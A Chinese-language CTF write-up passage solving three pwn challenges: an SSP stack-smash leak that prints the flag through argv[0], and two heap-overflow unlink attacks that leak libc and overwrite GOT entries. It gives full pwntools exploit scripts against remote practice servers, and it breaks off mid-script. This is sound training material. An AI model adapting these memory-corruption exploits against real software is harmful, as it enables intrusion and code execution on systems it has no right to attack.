文章目录
easy
题目
保护情况:Canary开启
[*] '/root/easy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
基本情况
有一个栈溢出漏洞,但有canary保护:
在data段存在一个flag的地址.data:00000000006CA090 flag db ‘FLAG_IS_ON_THE_SERVER’,0
提示我们flag在服务器运行时,会在此地址
分析
在看书中无意看到SSP Leak的知识点,发现可以解决消失的flag
这道题
[[SSP Leak]]通过触发__Fortify_fail
的特性去攻击
简单来说,在栈溢出后(触发canary保护),程序会输出报错信息
b’*** stack smashing detected ***: /root easy terminated\n’
这个 /root/easy 文件名其实是arg[0]的参数,我们可以通过栈溢出覆写(一般在栈尾部)成为flag的地址,到远程去泄露flag
如何测试之间的偏移?
在程序的输入函数下断点(scanf/gets),起始位置一般为rdi\rsi = 0x00,计算与arg[0]的指针地址偏移
笔记:
- 其实在pwn测试中,如果你实在不知道如何去破解得到flag,但却感觉很容易,可以使用暴力猜测输入n个字符串+地址去猜测
- 在gdb中,可以通过
search FLAG
来搜索字符串
EXP
from pwn import *
fn="/root/easy"
context.log_level='debug'
context.arch="amd64"
p=remote("pwn.archive.xdsec.chall.frankli.site",10028)#process(fn)
payload=b"A"*376+p64(0x6ca090)
print(payload)
p.sendline(payload)
#payload="LIBC_FATAL_STDERR_"
#p.sendline(payload)
print(p.recvall())
p.interactive()
#b'*** stack smashing detected ***: flag{e4sYst4ck_Y0u_G0t_1t} terminated\n'
重做note2
分析
保护情况:无PIE,GOT可写
[*] '/root/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
静态分析:
- 在读入数据时存在堆溢出的漏洞,当len=0时,len-1=-1(无符号溢出)
- 有输出功能
假设整体思路
堆溢出后unlink修改got
不要想太多,干,就有路
注意的点:
- unlink删除的对象必须是堆的size位(系统认定的堆)
- 通常的unlink修改填充为
0x18
EXP
整体思路
- 堆溢出制造unlink
- 泄露libc、改GOT
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/note2"
p=remote("node4.buuoj.cn",29751)#p=process(name)
libc=ELF("./x64/libc-2.23_buuctf.so")
#p=process(name)#
elf=ELF(name)
def create(size, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('Input the length of the note content:(less than 128)')
p.sendline(str(size))
p.recvuntil('Input the note content:')
p.send(content)
def edit(idx,choice,content):#可使用-1 溢出 无检查
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('Input the id of the note:')
p.sendline(str(idx))
p.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
p.sendline(str(choice))
p.recvuntil('TheNewContents:')
p.send(content)
def delete(idx):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('Input the id of the note:')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('Input the id of the note:')
p.sendline(str(idx))
#1. 堆溢出制造unlink
puts_got=elf.got["atoi"]
pl=b"a\n"
p.sendlineafter("name:",pl)
p.sendlineafter("address:","a\n")
ptr=0x0000000000602120 #0x0000000000602120
fd=ptr-0x18
bk=ptr-0x10
fake_chunk_front=p64(0x00)+p64(0x40)
fake_chunk_front+=p64(fd)+p64(bk)+b"\n"
create(0x20,fake_chunk_front)#0
create(0,b"g\n")#1
create(0x80,b"aaa\n")#2
delete(1)
fake_chunk=p64(0)+p64(0)+p64(0x40)+p64(0x90)+b"\n"
create(0,fake_chunk)#溢出修改chunk2
delete(2)#unlink
#2. 泄露libc、改GOT
payload=b"a"*0x18+p64(puts_got)+b"\n"
edit(0,1,payload)
dump(0)
leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base=leak-libc.sym["atoi"]
log.success("leak ->{}"+hex(leak))
system_addr=libc_base+libc.sym["system"]
payload=p64(system_addr)+b"\n"
edit(0,1,payload)
p.interactive()
重做[ZJCTF_2019]Easyheap
分析
保护情况:无PIE,GOT可写
[*] '/root/easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
静态分析:
- 修改、创建堆可任意大小写入(无检查)
- 有后门
- 创建堆结构为1个堆内容堆
假设整体思路
堆溢出实现unlink
EXP
整体思路:
- 制造fakechunk的堆,unlink
- 修改GOT为后门函数
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/easyheap"
p=remote("node4.buuoj.cn",29760)#p=process(name)
#libc=ELF("./x64/libc-2.23_buuctf.so")
#p=process(name)#
elf=ELF(name)
def create(size, content):
p.recvuntil(